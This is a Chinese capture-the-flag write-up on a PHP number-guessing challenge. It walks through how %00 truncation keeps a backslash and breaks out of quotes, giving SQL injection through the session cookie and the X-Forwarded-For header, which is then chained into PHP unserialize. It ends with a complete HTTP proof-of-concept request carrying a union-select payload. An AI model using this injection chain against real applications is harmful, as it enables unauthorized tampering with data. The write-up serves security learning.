%00截斷配合反序列化的奇妙利用
前言
前段時間做了一個CTF題目,發現這道題目相當的精妙,主要是利用了 %00
的截斷來繞過安全校驗,最終利用反序列化達成目的。
漏洞分析
整個程式碼十分的簡單,就是猜數字的遊戲,但是按照正常的邏輯是無法成功的,那麼必然存在漏洞。
在 config.php
中:
foreach ($_GET as $key => $value ) { $_GET[$key] = daddslashes($value); } foreach ($_POST as $key => $value ) { $_POST[$key] = daddslashes($value); } foreach ($_COOKIE as $key => $value ) { $_COOKIE[$key] = daddslashes($value); } foreach ($_SERVER as $key => $value ) { $_SERVER[$key] = addslashes($value); } function daddslashes($string) { if(!get_magic_quotes_gpc()) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val); } } else { $string = addslashes($string); } } return $string; }
對GET、POST、Cookie和SERVER都進行了轉義。
分析 session.class.php
程式碼:
class session { function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID') { $this->dbConn= $db; $this->session_name = $session_name; $this->session_table = $session_table; $this->_ip = $this->real_ip(); // some other code if ($session_id == '' && !empty($_COOKIE[$this->session_name])) { $this->session_id = $_COOKIE[$this->session_name]; } // some other code if ($this->session_id) { $this->load_session(); } else { $this->gen_session_id(); setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id)); } } function real_ip() { static $realip = NULL; if ($realip !== NULL) { return $realip; } if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $realip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $realip = $_SERVER['HTTP_CLIENT_IP']; } else { if (isset($_SERVER['REMOTE_ADDR'])) { $realip = $_SERVER['REMOTE_ADDR']; } else { $realip = '0.0.0.0'; } } } else { $realip = '0.0.0.0'; } return $realip; } }
其中,變數 $this->_ip
是由函式real_ip()得到,其實是從 $_SERVER['HTTP_X_FORWARDED_FOR']
等變數中取到的,意味著變數 $_SERVER['HTTP_X_FORWARDED_FOR']
是可控的。
變數 $this->session_id
是從變數 $_COOKIE["SESSID"]
中得到的,同樣是可控的。
所以目前看到這裡,我們已經知道了變數 $this->_ip
和變數 $this->session_id
都是我們可控的。
發現在初始化中存在如下程式碼:
if ($this->session_id) { $this->load_session(); }
如果存在 $this->session_id
,則呼叫 load_session()
函式,跟蹤進入到 load_session()
中,進一步分析
function load_session() { $res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'"); $session = $res->fetch_array(); if (empty($session)) { $this->insert_session(); } else { $GLOBALS['_SESSION']= unserialize($session['data']); } }
可以發現,在SQL語句中直接使用了 $this->_ip
,而這個 $this->_ip
是我們可控的, $this->session_id
也是可控的,其次最後將資料取出來時使用了 unserialize($session['data'])
反序列化的操作。
根據直覺猜解,這個問題可能和SQL注入以及序列化漏洞有關。
漏洞利用
根據上面的猜測,漏洞可能和SQL注入以及序列化相關。但是漏洞利用均存在一定程度的問題。對於引數 $this->_ip
,雖然我們可控,但是還是被 '
包裹,同時之前也進行了轉義,所以如果要利用必須要能夠逃逸出單引號。其次,對於序列化漏洞,需要從 $session['data']
中讀入資料,所以要能夠利用序列化漏洞的話,則需要 $session['data']
的內容是可控的。但是通過分析,對於資料庫中 data
表的資料我們是不可控的,所以序列化的利用也存在很大的問題了。
其實問題的本質是在於SQL注入漏洞,如果能夠成功地進行 union
注入,也就意味著 $session['data']
的內容是可控的。那麼問題就轉為了如何進行注入了,注入的關鍵問題是在於逃脫引號。
分析SQL語句 SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'
如果 $this->_ip
無法逃逸出單引號,那麼可以考慮一下 $this->session_id
是否能夠逃逸出單引號。繼續分析程式碼,
$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)) { $this->session_id = $tmp_session_id; }
可以發現使用了 substr()
方法進行了階段,那麼是否能夠利用截斷的方法得到一個 呢?通過一個例子進行說明:
$mystr = "c4ca4238a0b923820dcc509a6f75849'"; $mystr = addslashes($mystr); var_dump($mystr);// 結果為 c4ca4238a0b923820dcc509a6f75849' (length=33) var_dump(substr($mystr, 0, 32));//結果為 c4ca4238a0b923820dcc509a6f75849 (length=32)
說明通過截斷的方式保留 是可行的。
解決了SQL注入的問題,接下來就需要解決反序列化的問題,序列化是字串,但是由於之前使用了 addslashes
進行轉義,即使能夠使用SQL注入也無法進行反序列, 此時需要可以採用十六進位制來解決這個問題了。
漏洞實施
在進行實際的測試時,我發現通過 '
會存在問題。當我們設定 SESSID=c4ca4238a0b923820dcc509a6f75849'eb2d9059
時,程式碼執行至:
$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)) { $this->session_id = $tmp_session_id; }
其中的 $tmp_session_id
,截斷之後變為 c4ca4238a0b923820dcc509a6f75849
。此時計算:
$this->gen_session_key($tmp_session_id)// 得到 eb2d9059 substr($this->session_id, 32)// 得到 'eb2d9059
可以看到多餘的 '
被保留了,導致此處的判斷無法相等,這樣就存在問題。後來想到可以使用 %00
的方式得到
$mystr = "QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00"; $mystr = urldecode($mystr); $mystr = addslashes($mystr); var_dump($mystr);// 得到QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length=32)
這樣多餘的0就可以作為後面的校驗值了。
當我們設定 SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457
時,執行的結果如下:

這樣就完成了SQL注入的第一步了,下面就是構造序列化的內容,然後轉換為十六進位制。序列化的內容十分的簡單,需要設定分數大於100份即可, a:2:{s:4:"name";s:6:"hahaha";s:5:"score";s:3:"102";}
,轉換為十六進位制 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d
。
至此,所有的問題都解決了,最後的PoC為:
GET URL HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457 X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d # Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
注意設定Cookie和XXF。
總結
一般的截斷通過是為了保留得到單引號,但是相較於常規的截斷手法,你會發現在本例中完全不適用,無法繞過關鍵的校驗是 $this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)
,同時在繞過了這個校驗之後還需要保留單引號,最終採用 %00
截斷完美地解決了這個問題。
這是一道非常好的題目,雖然所有的考察點都知道,但是結合在一起確實如此的精妙,遇到了問題看來需要多想多思考,在安全這條路上還有很長的一段路要走。